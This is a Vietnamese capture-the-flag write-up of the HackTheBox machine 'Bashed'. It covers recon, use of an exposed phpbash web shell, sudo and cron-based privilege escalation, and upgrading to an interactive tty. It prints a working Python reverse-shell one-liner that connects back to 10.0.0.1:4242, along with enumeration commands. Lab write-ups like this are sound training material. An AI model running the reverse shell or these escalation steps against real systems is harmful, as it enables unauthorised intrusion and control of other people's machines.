Viblo CTF
+1

Write-up HackTheBox:Bashed

Mở đầu

Tiếp theo series là machine Bashed đây cũng được đánh giá là một bài dễ

Write-up

Recon

Vẫn là câu lệnh quen thuộc nmap -A -v 10.10.10.68 -p- -o nmap

Ta thấy server chỉ mở đúng một cổng 80 và ta tiến hành truy cập thử xem có gì

Ở đây nhắc đến phpbash được triển khai trên server này. Sau khi tìm thử thì mình phát hiện đây là một web shell và mình bắt đầu dùng gobuster để tìm đường dẫn đến file này

gobuster dir -w /usr/share/wordlists/dirb/common.txt -u 10.10.10.68 -x php,txt,bak -o gobuster

Sau khi vào các thư mục ở trên thì ta thấy 2 file web shell

Exploit

www-data

Đầu tiên mình kiểm tra server có python không bằng lệnh which python

Sau khi xác nhận server có python thì mình tạo một reverse shell về máy mình để tiện thao tác

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.0.0.1",4242));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("/bin/bash")'

Và ta có được shell đầu

scriptmanager

Kiểm tra user có thể chạy lện nào bằng sudo sudo -l Ở đây ta có thể chạy bất kì lệnh nào dưới quyền của scriptmanager và ta dễ dàng có được shell thứ 2
sudo -u scriptmanager /bin/bash

root

Kiểm tra với sudo và find không tìm được file nào thú vị

sudo -l
find / -perm -u=s -exec ls -la {} \; 2>/dev/null

Ở đây chắc hẳn nhiều bạn có thói quen ấn Ctrl+C và sau khi ấn ta sẽ bị mất shell (dump shell) và lại phải làm lại từ đầu. Bây giờ mình sẽ hướng dẫn các bạn từ dump shell lên fully interactive ttys
Lưu ý: Nếu bạn dùng bản kail mới nhất hay đang dùng shell khác không phải là bash shell thì phải đổi về bash shell thì mới có thể làm được( Mình tạo một user khác có shell là /bin/bash)

Đầu tiên tạo shell tty với python python -c 'import pty;pty.spawn("/bin/bash") Tiếp theo ấn Ctrl+Z để cho shell chạy background

Tìm loại TERM đang chạy shell của mình echo $TERM

Ở đây mình dùng tmux lên TERM là screen còn bình thường sẽ là xterm-256color Tiếp đến là

stty raw -echo 
fg
reset
screen( tùy vào giá trị mà bạn lệnh echo $TERM của bạn)

Lưu ý: ở đây mình không đánh lại lệnh nc -lnvp 443

Sau khi hoàn thành bạn sẽ không phải lo việc ấn nhầm Ctrl+C và bị mất shell nữa

Tiếp tục với leo thang thì sau khi chạy ps thì mình thấy server đang chạy cron ps aux | grep root

Liệt kê tất cả file cấu hình cron ls -la /etc/cron*

Mình xem thử qua tất cả các file và không thấy file nào có khả năng để khai thác

Sau đó mình tìm thử các file thuộc sở hữu của scriptmanager find / 2>/dev/null -user scriptmanager | grep -v proc

Sau khi đọc thử 2 file ở thư mục scripts thì mình thấy file test .py sẽ ghi vào test.txt và để ý ở đây quyền của test.txt là root cộng với cron thì mình đoán là file test .py được chạy bằng cron. Bây mình sẽ dùng nano để chỉnh sửa file test .py và để làm được điều này thì mình đã trình bày ở trên cách để lên fully interactive shell.

Ghi vào file test .py

Đợi 1 lúc là ta có được shell root

Conclusion

Ở bài này mình học được cách nâng từ simple shell lên fully interactive shell


All Rights Reserved